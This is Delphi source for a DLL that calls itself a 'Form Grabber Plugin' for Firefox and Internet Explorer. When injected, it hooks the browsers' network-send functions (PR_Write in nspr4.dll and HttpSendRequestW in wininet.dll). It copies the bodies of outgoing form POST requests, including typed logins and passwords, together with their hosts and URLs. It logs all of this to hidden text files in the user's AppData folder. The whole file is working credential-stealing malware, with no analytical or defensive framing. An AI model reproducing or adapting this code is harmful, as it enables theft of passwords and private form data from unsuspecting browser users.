library hook;
{
  Form Grabber Plugin
  Works for FireFox/Internet Explorer
}
uses
  sharemem,
  windows,
  wininet,
  syncobjs,
  sysutils,
  shfolder,
  MagicApiHooks in 'MagicApiHooks.pas';

var
  textPath:String;
  oldpr_write : function(PRFileDesc : Pointer;buf : Pointer; amount : LongInt) : LongInt; cdecl;
  oldHttpSendRequestW:function(hRequest: HINTERNET; lpszHeaders: PWideChar;dwHeadersLength: DWORD; lpOptional: Pointer;dwOptionalLength: DWORD): BOOL; stdcall;

Procedure StripHTTP(Domain: String; Var HTTPDomain, SubDomain: String);
Var
  Tmp: String;
Begin
  HTTPDomain := '';
  SubDomain  := '';

  If LowerCase(Copy(Domain, 1, 4)) = 'http' Then
    Delete(Domain, 1, 7);
  If Pos('/', Domain) > 0 Then
  Begin
    Tmp := Copy(Domain, 1, Pos('/', Domain)-1);
    Domain := Copy(Domain, Pos('/', Domain)+1, Length(Domain));

    HTTPDomain := Tmp;
    SubDomain  := Domain;
  End Else
    If Domain <> '' Then
      HTTPDomain := Domain;
End;

function SplitString(Start, Stop, ToSplit : String) : String;
var
  tmp : String ;
begin
  tmp := Copy(ToSplit,Pos(Start, ToSplit) + Length(Start), Length(ToSplit) - Pos(Start, ToSplit) + Length(Start));
  result := Copy(tmp, 0, Pos(Stop, tmp) - 1);
end;

function StrCmp(String1, String2: string): boolean;
begin
  if (lstrcmpi(pchar(String1), pchar(String2)) = 0) then begin
    Result := True;
  end else begin
    Result := False;
  end;
end;

function newHttpSendRequestW(hRequest: HINTERNET; lpszHeaders: PWideChar;dwHeadersLength: DWORD; lpOptional: Pointer;dwOptionalLength: DWORD): BOOL; stdcall;
var
  dBuff, lBuff:Pointer;
  pFileHandle, dWrite, dRead:Cardinal;
  sTemp, sHost, sData:String;
label
  endofproc;
begin
  if dwOptionalLength = 0 then goto endofproc;
  GetMem(dBuff,dwOptionalLength);
  if dBuff <> nil then begin
    CopyMemory(dBuff,lpOptional, dwOptionalLength);
    dRead := 1;
    GetMem(lBuff,dRead);
    if lBuff <> nil then begin
      If InternetQueryOption(hRequest,INTERNET_OPTION_URL,lBuff,dRead) = false then begin
        IF GetLastError = ERROR_INSUFFICIENT_BUFFER then begin
          if dRead > 0 then begin
            FreeMem(lBuff);
            GetMem(lBuff,dRead);
            if lBuff <> nil then begin
              If InternetQueryOption(hRequest,INTERNET_OPTION_URL,lBuff,dRead) = false then begin
                FreeMem(lBuff);
                FreeMem(dBuff);
                goto endofproc;
              end;
            end;
          end;
        end;
      end;
      SetLength(sHost, dRead);
      SetLength(sData,dwOptionalLength);
      CopyMemory(@sData[1],dBuff,dwOptionalLength);
      CopyMemory(@sHost[1],lBuff,dRead);
      sTemp :=  '<item>' + #13#10 +
                      '   <site>' + sHost + '</site>' + #13#10 +
                      '   <content>' + sData + '</content>' + #13#10 +
                      '</item>' + #13#10;
      pFileHandle := CreateFile(PChar(textPath + 'logie.txt'),GENERIC_WRITE,FILE_SHARE_WRITE,nil,OPEN_ALWAYS , FILE_ATTRIBUTE_NORMAL,0);
      if pFileHandle <> INVALID_HANDLE_VALUE then begin
        SetFilePointer(pFileHandle,0,nil, FILE_END);
        WriteFile(pFileHandle,sTemp[1],Length(sTemp),dWrite,nil);
        CloseHandle(pFileHandle);
      end;
      FreeMem(lBuff);
    end;
    FreeMem(dBuff);
  end;
  endofproc:
  result := oldHttpSendRequestW(hRequest, lpszHeaders, dwHeadersLength, lpOptional,dwOptionalLength);
end;

function newpr_write(PRFileDesc : Pointer; buf : Pointer; amount : LongInt) : LongInt; cdecl;
var
  dBuff,lBuff: PChar;
  sTemp, sContent, sHost, sSite: String;
  sLength: Integer;
  pFileHandle, dWrite:Cardinal;
begin
  result := oldpr_write(PRFileDesc, buf, amount);
  if (result < 4) Then exit;
  GetMem(dBuff, 5);
  if dBuff <> nil then begin
    ZeroMemory(dBuff,5);
    CopyMemory(dBuff,buf,4);
    if lstrcmp(dBuff,'POST'#0) = 0 then begin
      GetMem(lBuff, amount);
      if lBuff <> nil then begin
        CopyMemory(lBuff, buf, amount);
        sHost := SplitString('Host: ',#13#10,lBuff);
        sSite := SplitString('POST ', ' HTTP',lBuff);
        sLength := StrToInt(SplitString('Content-Length: ',#13#10,lBuff));
        if sLength > 0 then begin
          sTemp := Trim(SplitString('Content-Type: ',#13#10,lBuff));
          if Pos('application/x-www-form-urlencoded', sTemp) > 0 Then begin
            SetString(sContent,pchar(cardinal(lbuff) + result - sLength),sLength);
            sTemp :=  '<item>' + #13#10 +
                      '   <host>' + sHost + '</host>' + #13#10 +
                      '   <site>' + sSite + '</site>' + #13#10 +
                      '   <content>' + sContent + '</content>' + #13#10 +
                      '</item>' + #13#10;
            pFileHandle := CreateFile(PChar(textPath + 'logff.txt'),GENERIC_WRITE,FILE_SHARE_WRITE,nil,OPEN_ALWAYS , FILE_ATTRIBUTE_NORMAL,0);
            if pFileHandle <> INVALID_HANDLE_VALUE then begin
              SetFilePointer(pFileHandle,0,nil, FILE_END);
              WriteFile(pFileHandle,sTemp[1],Length(sTemp),dWrite,nil);
              CloseHandle(pFileHandle);
            end;
          end;
        end;
        FreeMem(lBuff);
      end;
    end;
    FreeMem(dBuff);
  end;
end;

function LocalAppDataPath : string;
const
   SHGFP_TYPE_CURRENT = 0;
var
   path: array [0..MAX_PATH] of char;
begin
   SHGetFolderPath(0,CSIDL_LOCAL_APPDATA,0,SHGFP_TYPE_CURRENT,@path[0]) ;
    Result := path;
    if Result[Length(Result)] <> '\' then
    Result := Result + '\';
end;

begin
  textPath := LocalAppDataPath;
  APIHook('nspr4.dll','PR_Write',nil,@newPR_Write,@oldPR_Write);
  APIHook('wininet.dll','HttpSendRequestW',nil,@newHttpSendRequestW,@oldHttpSendRequestW);
end.
